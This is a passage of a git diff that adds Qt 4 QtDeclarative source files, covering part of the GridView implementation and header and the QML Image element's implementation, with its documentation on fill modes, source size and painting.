+ d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos());
+ d->updateTrackedItem();
+ }
+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+
+ emit countChanged();
+}
+
+void QDeclarativeGridView::createdItem(int index, QDeclarativeItem *item)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->requestedIndex != index) {
+ item->setParentItem(this);
+ d->unrequestedItems.insert(item, index);
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ item->setPos(QPointF(d->colPosAt(index), d->rowPosAt(index)));
+ } else {
+ item->setPos(QPointF(d->rowPosAt(index), d->colPosAt(index)));
+ }
+ }
+}
+
+void QDeclarativeGridView::destroyingItem(QDeclarativeItem *item)
+{
+ Q_D(QDeclarativeGridView);
+ d->unrequestedItems.remove(item);
+}
+
+void QDeclarativeGridView::animStopped()
+{
+ Q_D(QDeclarativeGridView);
+ d->bufferMode = QDeclarativeGridViewPrivate::NoBuffer;
+ if (d->haveHighlightRange && d->highlightRange == QDeclarativeGridView::StrictlyEnforceRange)
+ d->updateHighlight();
+}
+
+void QDeclarativeGridView::refill()
+{
+ Q_D(QDeclarativeGridView);
+ if (d->isRightToLeftTopToBottom())
+ d->refill(-d->position()-d->size()+1, -d->position());
+ else
+ d->refill(d->position(), d->position()+d->size()-1);
+}
+
+
+QDeclarativeGridViewAttached *QDeclarativeGridView::qmlAttachedProperties(QObject *obj)
+{
+ return new QDeclarativeGridViewAttached(obj);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativegridview_p.h b/src/declarative/graphicsitems/qdeclarativegridview_p.h
new file mode 100644
index 00000000..d7d7fdfc
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativegridview_p.h
@@ -0,0 +1,286 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGRIDVIEW_H
+#define QDECLARATIVEGRIDVIEW_H
+
+#include "private/qdeclarativeflickable_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+class QDeclarativeVisualModel;
+class QDeclarativeGridViewAttached;
+class QDeclarativeGridViewPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeGridView : public QDeclarativeFlickable
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeGridView)
+
+ Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged)
+ Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged)
+ Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged)
+ Q_PROPERTY(QDeclarativeItem *currentItem READ currentItem NOTIFY currentIndexChanged)
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+
+ Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged)
+ Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged)
+ Q_PROPERTY(bool highlightFollowsCurrentItem READ highlightFollowsCurrentItem WRITE setHighlightFollowsCurrentItem)
+ Q_PROPERTY(int highlightMoveDuration READ highlightMoveDuration WRITE setHighlightMoveDuration NOTIFY highlightMoveDurationChanged)
+
+ Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged RESET resetPreferredHighlightBegin)
+ Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged RESET resetPreferredHighlightEnd)
+ Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged)
+
+ Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
+ Q_PROPERTY(bool keyNavigationWraps READ isWrapEnabled WRITE setWrapEnabled NOTIFY keyNavigationWrapsChanged)
+ Q_PROPERTY(int cacheBuffer READ cacheBuffer WRITE setCacheBuffer NOTIFY cacheBufferChanged)
+ Q_PROPERTY(int cellWidth READ cellWidth WRITE setCellWidth NOTIFY cellWidthChanged)
+ Q_PROPERTY(int cellHeight READ cellHeight WRITE setCellHeight NOTIFY cellHeightChanged)
+
+ Q_PROPERTY(SnapMode snapMode READ snapMode WRITE setSnapMode NOTIFY snapModeChanged)
+
+ Q_PROPERTY(QDeclarativeComponent *header READ header WRITE setHeader NOTIFY headerChanged)
+ Q_PROPERTY(QDeclarativeComponent *footer READ footer WRITE setFooter NOTIFY footerChanged)
+
+ Q_ENUMS(HighlightRangeMode)
+ Q_ENUMS(SnapMode)
+ Q_ENUMS(Flow)
+ Q_ENUMS(PositionMode)
+ Q_CLASSINFO("DefaultProperty", "data")
+
+public:
+ QDeclarativeGridView(QDeclarativeItem *parent=0);
+ ~QDeclarativeGridView();
+
+ QVariant model() const;
+ int modelCount() const;
+ void setModel(const QVariant &);
+
+ QDeclarativeComponent *delegate() const;
+ void setDelegate(QDeclarativeComponent *);
+
+ int currentIndex() const;
+ void setCurrentIndex(int idx);
+
+ QDeclarativeItem *currentItem();
+ QDeclarativeItem *highlightItem();
+ int count() const;
+
+ QDeclarativeComponent *highlight() const;
+ void setHighlight(QDeclarativeComponent *highlight);
+
+ bool highlightFollowsCurrentItem() const;
+ void setHighlightFollowsCurrentItem(bool);
+
+ int highlightMoveDuration() const;
+ void setHighlightMoveDuration(int);
+
+ enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange };
+ HighlightRangeMode highlightRangeMode() const;
+ void setHighlightRangeMode(HighlightRangeMode mode);
+
+ qreal preferredHighlightBegin() const;
+ void setPreferredHighlightBegin(qreal);
+ void resetPreferredHighlightBegin();
+
+ qreal preferredHighlightEnd() const;
+ void setPreferredHighlightEnd(qreal);
+ void resetPreferredHighlightEnd();
+
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection(Qt::LayoutDirection);
+ Qt::LayoutDirection effectiveLayoutDirection() const;
+
+ enum Flow { LeftToRight, TopToBottom };
+ Flow flow() const;
+ void setFlow(Flow);
+
+ bool isWrapEnabled() const;
+ void setWrapEnabled(bool);
+
+ int cacheBuffer() const;
+ void setCacheBuffer(int);
+
+ int cellWidth() const;
+ void setCellWidth(int);
+
+ int cellHeight() const;
+ void setCellHeight(int);
+
+ enum SnapMode { NoSnap, SnapToRow, SnapOneRow };
+ SnapMode snapMode() const;
+ void setSnapMode(SnapMode mode);
+
+ QDeclarativeComponent *footer() const;
+ void setFooter(QDeclarativeComponent *);
+
+ QDeclarativeComponent *header() const;
+ void setHeader(QDeclarativeComponent *);
+
+ virtual void setContentX(qreal pos);
+ virtual void setContentY(qreal pos);
+
+ enum PositionMode { Beginning, Center, End, Visible, Contain };
+
+ Q_INVOKABLE void positionViewAtIndex(int index, int mode);
+ Q_INVOKABLE int indexAt(qreal x, qreal y) const;
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning();
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd();
+
+ static QDeclarativeGridViewAttached *qmlAttachedProperties(QObject *);
+
+public Q_SLOTS:
+ void moveCurrentIndexUp();
+ void moveCurrentIndexDown();
+ void moveCurrentIndexLeft();
+ void moveCurrentIndexRight();
+
+Q_SIGNALS:
+ void countChanged();
+ void currentIndexChanged();
+ void cellWidthChanged();
+ void cellHeightChanged();
+ void highlightChanged();
+ void highlightItemChanged();
+ void preferredHighlightBeginChanged();
+ void preferredHighlightEndChanged();
+ void highlightRangeModeChanged();
+ void highlightMoveDurationChanged();
+ void modelChanged();
+ void delegateChanged();
+ void flowChanged();
+ Q_REVISION(1) void layoutDirectionChanged();
+ void keyNavigationWrapsChanged();
+ void cacheBufferChanged();
+ void snapModeChanged();
+ void headerChanged();
+ void footerChanged();
+
+protected:
+ virtual bool event(QEvent *event);
+ virtual void viewportMoved();
+ virtual qreal minYExtent() const;
+ virtual qreal maxYExtent() const;
+ virtual qreal minXExtent() const;
+ virtual qreal maxXExtent() const;
+ virtual void keyPressEvent(QKeyEvent *);
+ virtual void componentComplete();
+
+private Q_SLOTS:
+ void trackedPositionChanged();
+ void itemsInserted(int index, int count);
+ void itemsRemoved(int index, int count);
+ void itemsMoved(int from, int to, int count);
+ void modelReset();
+ void destroyRemoved();
+ void createdItem(int index, QDeclarativeItem *item);
+ void destroyingItem(QDeclarativeItem *item);
+ void animStopped();
+
+private:
+ void refill();
+};
+
+class QDeclarativeGridViewAttached : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeGridViewAttached(QObject *parent)
+ : QObject(parent), m_view(0), m_isCurrent(false), m_delayRemove(false) {}
+ ~QDeclarativeGridViewAttached() {}
+
+ Q_PROPERTY(QDeclarativeGridView *view READ view NOTIFY viewChanged)
+ QDeclarativeGridView *view() { return m_view; }
+ void setView(QDeclarativeGridView *view) {
+ if (view != m_view) {
+ m_view = view;
+ emit viewChanged();
+ }
+ }
+
+ Q_PROPERTY(bool isCurrentItem READ isCurrentItem NOTIFY currentItemChanged)
+ bool isCurrentItem() const { return m_isCurrent; }
+ void setIsCurrentItem(bool c) {
+ if (m_isCurrent != c) {
+ m_isCurrent = c;
+ emit currentItemChanged();
+ }
+ }
+
+ Q_PROPERTY(bool delayRemove READ delayRemove WRITE setDelayRemove NOTIFY delayRemoveChanged)
+ bool delayRemove() const { return m_delayRemove; }
+ void setDelayRemove(bool delay) {
+ if (m_delayRemove != delay) {
+ m_delayRemove = delay;
+ emit delayRemoveChanged();
+ }
+ }
+
+ void emitAdd() { emit add(); }
+ void emitRemove() { emit remove(); }
+
+Q_SIGNALS:
+ void currentItemChanged();
+ void delayRemoveChanged();
+ void add();
+ void remove();
+ void viewChanged();
+
+public:
+ QDeclarativeGuard<QDeclarativeGridView> m_view;
+ bool m_isCurrent : 1;
+ bool m_delayRemove : 1;
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeGridView)
+QML_DECLARE_TYPEINFO(QDeclarativeGridView, QML_HAS_ATTACHED_PROPERTIES)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp
new file mode 100644
index 00000000..862d4771
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp
@@ -0,0 +1,584 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeimage_p.h"
+#include "private/qdeclarativeimage_p_p.h"
+
+#include <QKeyEvent>
+#include <QPainter>
+
+QT_BEGIN_NAMESPACE
+
+
+/*!
+ \qmlclass Image QDeclarativeImage
+ \since 4.7
+ \ingroup qml-basic-visual-elements
+ \brief The Image element displays an image in a declarative user interface
+ \inherits Item
+
+ The Image element is used to display images in a declarative user interface.
+
+ The source of the image is specified as a URL using the \l source property.
+ Images can be supplied in any of the standard image formats supported by Qt,
+ including bitmap formats such as PNG and JPEG, and vector graphics formats
+ such as SVG. If you need to display animated images, use the \l AnimatedImage
+ element.
+
+ If the \l{Item::width}{width} and \l{Item::height}{height} properties are not
+ specified, the Image element automatically uses the size of the loaded image.
+ By default, specifying the width and height of the element causes the image
+ to be scaled to that size. This behavior can be changed by setting the
+ \l fillMode property, allowing the image to be stretched and tiled instead.
+
+ \section1 Example Usage
+
+ The following example shows the simplest usage of the Image element.
+
+ \snippet doc/src/snippets/declarative/image.qml document
+
+ \beginfloatleft
+ \image declarative-qtlogo.png
+ \endfloat
+
+ \clearfloat
+
+ \section1 Performance
+
+ By default, locally available images are loaded immediately, and the user interface
+ is blocked until loading is complete. If a large image is to be loaded, it may be
+ preferable to load the image in a low priority thread, by enabling the \l asynchronous
+ property.
+
+ If the image is obtained from a network rather than a local resource, it is
+ automatically loaded asynchronously, and the \l progress and \l status properties
+ are updated as appropriate.
+
+ Images are cached and shared internally, so if several Image elements have the same \l source,
+ only one copy of the image will be loaded.
+
+ \bold Note: Images are often the greatest user of memory in QML user interfaces. It is recommended
+ that images which do not form part of the user interface have their
+ size bounded via the \l sourceSize property. This is especially important for content
+ that is loaded from external sources or provided by the user.
+
+ \sa {declarative/imageelements/image}{Image example}, QDeclarativeImageProvider
+*/
+
+QDeclarativeImage::QDeclarativeImage(QDeclarativeItem *parent)
+ : QDeclarativeImageBase(*(new QDeclarativeImagePrivate), parent)
+{
+}
+
+QDeclarativeImage::QDeclarativeImage(QDeclarativeImagePrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativeImageBase(dd, parent)
+{
+}
+
+QDeclarativeImage::~QDeclarativeImage()
+{
+}
+
+QPixmap QDeclarativeImage::pixmap() const
+{
+ Q_D(const QDeclarativeImage);
+ return d->pix.pixmap();
+}
+
+void QDeclarativeImage::setPixmap(const QPixmap &pix)
+{
+ Q_D(QDeclarativeImage);
+ if (!d->url.isEmpty())
+ return;
+ d->setPixmap(pix);
+}
+
+void QDeclarativeImagePrivate::setPixmap(const QPixmap &pixmap)
+{
+ Q_Q(QDeclarativeImage);
+ pix.setPixmap(pixmap);
+
+ q->pixmapChange();
+ status = pix.isNull() ? QDeclarativeImageBase::Null : QDeclarativeImageBase::Ready;
+
+ q->update();
+}
+
+/*!
+ \qmlproperty enumeration Image::fillMode
+
+ Set this property to define what happens when the source image has a different size
+ than the item.
+
+ \list
+ \o Image.Stretch - the image is scaled to fit
+ \o Image.PreserveAspectFit - the image is scaled uniformly to fit without cropping
+ \o Image.PreserveAspectCrop - the image is scaled uniformly to fill, cropping if necessary
+ \o Image.Tile - the image is duplicated horizontally and vertically
+ \o Image.TileVertically - the image is stretched horizontally and tiled vertically
+ \o Image.TileHorizontally - the image is stretched vertically and tiled horizontally
+ \endlist
+
+ \table
+
+ \row
+ \o \image declarative-qtlogo-stretch.png
+ \o Stretch (default)
+ \qml
+ Image {
+ width: 130; height: 100
+ smooth: true
+ source: "qtlogo.png"
+ }
+ \endqml
+
+ \row
+ \o \image declarative-qtlogo-preserveaspectfit.png
+ \o PreserveAspectFit
+ \qml
+ Image {
+ width: 130; height: 100
+ fillMode: Image.PreserveAspectFit
+ smooth: true
+ source: "qtlogo.png"
+ }
+ \endqml
+
+ \row
+ \o \image declarative-qtlogo-preserveaspectcrop.png
+ \o PreserveAspectCrop
+ \qml
+ Image {
+ width: 130; height: 100
+ fillMode: Image.PreserveAspectCrop
+ smooth: true
+ source: "qtlogo.png"
+ clip: true
+ }
+ \endqml
+
+ \row
+ \o \image declarative-qtlogo-tile.png
+ \o Tile
+ \qml
+ Image {
+ width: 120; height: 120
+ fillMode: Image.Tile
+ source: "qtlogo.png"
+ }
+ \endqml
+
+ \row
+ \o \image declarative-qtlogo-tilevertically.png
+ \o TileVertically
+ \qml
+ Image {
+ width: 120; height: 120
+ fillMode: Image.TileVertically
+ smooth: true
+ source: "qtlogo.png"
+ }
+ \endqml
+
+ \row
+ \o \image declarative-qtlogo-tilehorizontally.png
+ \o TileHorizontally
+ \qml
+ Image {
+ width: 120; height: 120
+ fillMode: Image.TileHorizontally
+ smooth: true
+ source: "qtlogo.png"
+ }
+ \endqml
+
+ \endtable
+
+ Note that \c clip is \c false by default which means that the element might
+ paint outside its bounding rectangle even if the fillMode is set to \c PreserveAspectCrop.
+
+ \sa {declarative/imageelements/image}{Image example}
+*/
+QDeclarativeImage::FillMode QDeclarativeImage::fillMode() const
+{
+ Q_D(const QDeclarativeImage);
+ return d->fillMode;
+}
+
+void QDeclarativeImage::setFillMode(FillMode mode)
+{
+ Q_D(QDeclarativeImage);
+ if (d->fillMode == mode)
+ return;
+ d->fillMode = mode;
+ update();
+ updatePaintedGeometry();
+ emit fillModeChanged();
+}
+
+/*!
+
+ \qmlproperty real Image::paintedWidth
+ \qmlproperty real Image::paintedHeight
+
+ These properties hold the size of the image that is actually painted.
+ In most cases it is the same as \c width and \c height, but when using a
+ \c fillMode \c PreserveAspectFit or \c fillMode \c PreserveAspectCrop
+ \c paintedWidth or \c paintedHeight can be smaller or larger than
+ \c width and \c height of the Image element.
+*/
+qreal QDeclarativeImage::paintedWidth() const
+{
+ Q_D(const QDeclarativeImage);
+ return d->paintedWidth;
+}
+
+qreal QDeclarativeImage::paintedHeight() const
+{
+ Q_D(const QDeclarativeImage);
+ return d->paintedHeight;
+}
+
+/*!
+ \qmlproperty enumeration Image::status
+
+ This property holds the status of image loading. It can be one of:
+ \list
+ \o Image.Null - no image has been set
+ \o Image.Ready - the image has been loaded
+ \o Image.Loading - the image is currently being loaded
+ \o Image.Error - an error occurred while loading the image
+ \endlist
+
+ Use this status to provide an update or respond to the status change in some way.
+ For example, you could:
+
+ \list
+ \o Trigger a state change:
+ \qml
+ State { name: 'loaded'; when: image.status == Image.Ready }
+ \endqml
+
+ \o Implement an \c onStatusChanged signal handler:
+ \qml
+ Image {
+ id: image
+ onStatusChanged: if (image.status == Image.Ready) console.log('Loaded')
+ }
+ \endqml
+
+ \o Bind to the status value:
+ \qml
+ Text { text: image.status == Image.Ready ? 'Loaded' : 'Not loaded' }
+ \endqml
+ \endlist
+
+ \sa progress
+*/
+
+/*!
+ \qmlproperty real Image::progress
+
+ This property holds the progress of image loading, from 0.0 (nothing loaded)
+ to 1.0 (finished).
+
+ \sa status
+*/
+
+/*!
+ \qmlproperty bool Image::smooth
+
+ Set this property if you want the image to be smoothly filtered when scaled or
+ transformed. Smooth filtering gives better visual quality, but is slower. If
+ the image is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the image is stationary on
+ the screen. A common pattern when animating an image is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty QSize Image::sourceSize
+
+ This property holds the actual width and height of the loaded image.
+
+ Unlike the \l {Item::}{width} and \l {Item::}{height} properties, which scale
+ the painting of the image, this property sets the actual number of pixels
+ stored for the loaded image so that large images do not use more
+ memory than necessary. For example, this ensures the image in memory is no
+ larger than 1024x1024 pixels, regardless of the Image's \l {Item::}{width} and
+ \l {Item::}{height} values:
+
+ \code
+ Rectangle {
+ width: ...
+ height: ...
+
+ Image {
+ anchors.fill: parent
+ source: "reallyBigImage.jpg"
+ sourceSize.width: 1024
+ sourceSize.height: 1024
+ }
+ }
+ \endcode
+
+ If the image's actual size is larger than the sourceSize, the image is scaled down.
+ If only one dimension of the size is set to greater than 0, the
+ other dimension is set in proportion to preserve the source image's aspect ratio.
+ (The \l fillMode is independent of this.)
+
+ If the source is an instrinsically scalable image (eg. SVG), this property
+ determines the size of the loaded image regardless of intrinsic size.
+ Avoid changing this property dynamically; rendering an SVG is \e slow compared
+ to an image.
+
+ If the source is a non-scalable image (eg. JPEG), the loaded image will
+ be no greater than this property specifies. For some formats (currently only JPEG),
+ the whole image will never actually be loaded into memory.
+
+ Since QtQuick 1.1 the sourceSize can be cleared to the natural size of the image
+ by setting sourceSize to \c undefined.
+
+ \note \e {Changing this property dynamically causes the image source to be reloaded,
+ potentially even from the network, if it is not in the disk cache.}
+*/
+
+void QDeclarativeImage::updatePaintedGeometry()
+{
+ Q_D(QDeclarativeImage);
+
+ if (d->fillMode == PreserveAspectFit) {
+ if (!d->pix.width() || !d->pix.height()) {
+ setImplicitWidth(0);
+ setImplicitHeight(0);
+ return;
+ }
+ qreal w = widthValid() ? width() : d->pix.width();
+ qreal widthScale = w / qreal(d->pix.width());
+ qreal h = heightValid() ? height() : d->pix.height();
+ qreal heightScale = h / qreal(d->pix.height());
+ if (widthScale <= heightScale) {
+ d->paintedWidth = w;
+ d->paintedHeight = widthScale * qreal(d->pix.height());
+ } else if(heightScale < widthScale) {
+ d->paintedWidth = heightScale * qreal(d->pix.width());
+ d->paintedHeight = h;
+ }
+ if (widthValid() && !heightValid()) {
+ setImplicitHeight(d->paintedHeight);
+ } else {
+ setImplicitHeight(d->pix.height());
+ }
+ if (heightValid() && !widthValid()) {
+ setImplicitWidth(d->paintedWidth);
+ } else {
+ setImplicitWidth(d->pix.width());
+ }
+ } else if (d->fillMode == PreserveAspectCrop) {
+ if (!d->pix.width() || !d->pix.height())
+ return;
+ qreal widthScale = width() / qreal(d->pix.width());
+ qreal heightScale = height() / qreal(d->pix.height());
+ if (widthScale < heightScale) {
+ widthScale = heightScale;
+ } else if(heightScale < widthScale) {
+ heightScale = widthScale;
+ }
+
+ d->paintedHeight = heightScale * qreal(d->pix.height());
+ d->paintedWidth = widthScale * qreal(d->pix.width());
+ } else {
+ d->paintedWidth = width();
+ d->paintedHeight = height();
+ }
+ emit paintedGeometryChanged();
+}
+
+void QDeclarativeImage::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ QDeclarativeImageBase::geometryChanged(newGeometry, oldGeometry);
+ updatePaintedGeometry();
+}
+
+QRectF QDeclarativeImage::boundingRect() const
+{
+ Q_D(const QDeclarativeImage);
+ return QRectF(0, 0, qMax(d->mWidth, d->paintedWidth), qMax(d->mHeight, d->paintedHeight));
+}
+
+/*!
+ \qmlproperty url Image::source
+
+ Image can handle any image format supported by Qt, loaded from any URL scheme supported by Qt.
+
+ The URL may be absolute, or relative to the URL of the component.
+
+ \sa QDeclarativeImageProvider
+*/
+
+/*!
+ \qmlproperty bool Image::asynchronous
+
+ Specifies that images on the local filesystem should be loaded
+ asynchronously in a separate thread. The default value is
+ false, causing the user interface thread to block while the
+ image is loaded. Setting \a asynchronous to true is useful where
+ maintaining a responsive user interface is more desirable
+ than having images immediately visible.
+
+ Note that this property is only valid for images read from the
+ local filesystem. Images loaded via a network resource (e.g. HTTP)
+ are always loaded asynchonously.
+*/
+
+/*!
+ \qmlproperty bool Image::cache
+ \since QtQuick 1.1
+
+ Specifies whether the image should be cached. The default value is
+ true. Setting \a cache to false is useful when dealing with large images,
+ to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+ \qmlproperty bool Image::mirror
+ \since QtQuick 1.1
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
+
+void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ Q_D(QDeclarativeImage);
+ if (d->pix.pixmap().isNull() )
+ return;
+
+ int drawWidth = width();
+ int drawHeight = height();
+ bool doClip = false;
+ QTransform transform;
+ qreal widthScale = width() / qreal(d->pix.width());
+ qreal heightScale = height() / qreal(d->pix.height());
+
+ if (width() != d->pix.width() || height() != d->pix.height()) {
+ if (d->fillMode >= Tile) {
+ if (d->fillMode == TileVertically) {
+ transform.scale(widthScale, 1.0);
+ drawWidth = d->pix.width();
+ } else if (d->fillMode == TileHorizontally) {
+ transform.scale(1.0, heightScale);
+ drawHeight = d->pix.height();
+ }
+ } else {
+ if (d->fillMode == PreserveAspectFit) {
+ if (widthScale <= heightScale) {
+ heightScale = widthScale;
+ transform.translate(0, (height() - heightScale * d->pix.height()) / 2);
+ } else if(heightScale < widthScale) {
+ widthScale = heightScale;
+ transform.translate((width() - widthScale * d->pix.width()) / 2, 0);
+ }
+ } else if (d->fillMode == PreserveAspectCrop) {
+ if (widthScale < heightScale) {
+ widthScale = heightScale;
+ transform.translate((width() - widthScale * d->pix.width()) / 2, 0);
+ } else if(heightScale < widthScale) {
+ heightScale = widthScale;
+ transform.translate(0, (height() - heightScale * d->pix.height()) / 2);
+ }
+ }
+ transform.scale(widthScale, heightScale);
+ drawWidth = d->pix.width();
+ drawHeight = d->pix.height();
+ doClip = clip();
+ }
+ }
+
+ QTransform oldTransform;
+ bool oldAA = p->testRenderHint(QPainter::Antialiasing);
+ bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+ if (d->smooth)
+ p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+ if (doClip) {
+ p->save();
+ p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip);
+ }
+ if (d->mirror)
+ transform.translate(drawWidth, 0).scale(-1.0, 1.0);
+ if (!transform.isIdentity()) {
+ oldTransform = p->transform();
+ p->setWorldTransform(transform * oldTransform);
+ }
+
+ if (d->fillMode >= Tile)
+ p->drawTiledPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix);
+ else
+ p->drawPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix, QRectF(0, 0, drawWidth, drawHeight));
+
+ if (d->smooth) {
+ p->setRenderHint(QPainter::Antialiasing, oldAA);
+ p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
+ }
+ if (doClip)
+ p->restore();
+ if (!transform.isIdentity())
+ p->setWorldTransform(oldTransform);
+}
+
+void QDeclarativeImage::pixmapChange()
+{
+ Q_D(QDeclarativeImage);
+ // PreserveAspectFit calculates the implicit size differently so we
+ // don't call our superclass pixmapChange(), since that would
+ // result in the implicit size being set incorrectly, then updated
+ // in updatePaintedGeometry()
+ if (d->fillMode != PreserveAspectFit)
+ QDeclarativeImageBase::pixmapChange();
+ updatePaintedGeometry();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeimage_p.h b/src/declarative/graphicsitems/qdeclarativeimage_p.h
new file mode 100644
index 00000000..5b1daa04
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimage_p.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGE_H
+#define QDECLARATIVEIMAGE_H
+
+#include "private/qdeclarativeimagebase_p.h"
+
+#include <QtNetwork/qnetworkreply.h>
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeImagePrivate;
